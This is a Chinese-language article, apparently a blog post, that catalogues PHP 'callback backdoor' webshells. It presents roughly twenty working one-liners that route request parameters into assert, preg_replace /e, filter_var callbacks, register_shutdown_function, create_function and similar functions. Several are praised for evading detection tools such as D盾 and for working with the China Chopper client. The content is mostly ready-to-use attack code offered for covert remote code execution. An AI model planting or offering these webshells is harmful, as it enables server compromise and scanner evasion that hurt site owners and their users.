0x00 前言
php中包含回调函数参数的函数,具有做后门的潜质。
我就自己给这类webshell起了个名字:回调后门。
0x01 回调后门的老祖宗
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:
call_user_func('assert', $_REQUEST['pass']);
assert直接作为回调函数,然后$_REQUEST['pass']
作为assert的参数调用。
call_user_func_array('assert', array($_REQUEST['pass']));
0x02 数组操作造成的单参数回调后门
进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。
我最早想到个最“简单好用的”:
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, base64_decode($e));
array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):
类似array_filter,array_map也有同样功效:
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_map(base64_decode($e), $arr);
依旧被D盾查杀。
果然,简单的数组回调后门,还是很容易被发现与查杀的。
0x03 php5.4.8+中的assert
php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:
这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
比如如下回调后门:
<?php $e = $_REQUEST['e']; $arr = array('test', $_REQUEST['pass']); uasort($arr, base64_decode($e));
这个后门在php5.3时会报错,提示assert只能有一个参数:
php版本改作5.4后就可以执行了:
同样的道理,这个也是功能类似:
<?php $e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e);
再给出这两个函数,面向对象的方法:
<?php // way 0 $arr = new ArrayObject(array('test', $_REQUEST['pass'])); $arr->uasort('assert'); // way 1 $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2)); $arr->uksort('assert');
再来两个类似的回调后门:
<?php $e = $_REQUEST['e']; $arr = array(1); array_reduce($arr, $e, $_POST['pass']); <?php $e = $_REQUEST['e']; $arr = array($_POST['pass']); $arr2 = array(1); array_udiff($arr, $arr2, $e);
以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)
0x04 三参数回调函数
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。
array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:
php中,可以执行代码的函数:
-
一个参数:assert
-
两个参数:assert (php5.4.8+)
-
三个参数:preg_replace /e模式
三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk($arr, $e, '');
PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk_recursive($arr, $e, '');
不截图了。
看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:
<?php mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
另一个:
<?php preg_filter('|.*|e', $_REQUEST['pass'], '');
这两个一句话都是不杀的:
0x05 无回显回调后门
回调后门里,有个特殊的例子:ob_start。
ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:
<?php ob_start('assert'); echo $_REQUEST['pass']; ob_end_flush();
即使没输出,实际代码是执行了的。也算作回调后门的一种。
0x06 单参数后门终极奥义
preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。
这里给出几个好用不杀的回调后门
<?php $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['pass']);
这个是php全版本支持的,且不报不杀稳定执行:
再来一个:
<?php $e = $_REQUEST['e']; declare(ticks=1); register_tick_function ($e, $_REQUEST['pass']);
再来两个:
<?php filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。
这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.
0x07 其他参数型回调后门
上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?
举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。
preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。
所以我们需要去“构造”一个满足条件的回调函数。
怎么构造?使用create_function:
<?php preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。
这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。
类似的,这个也同样:
<?php mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);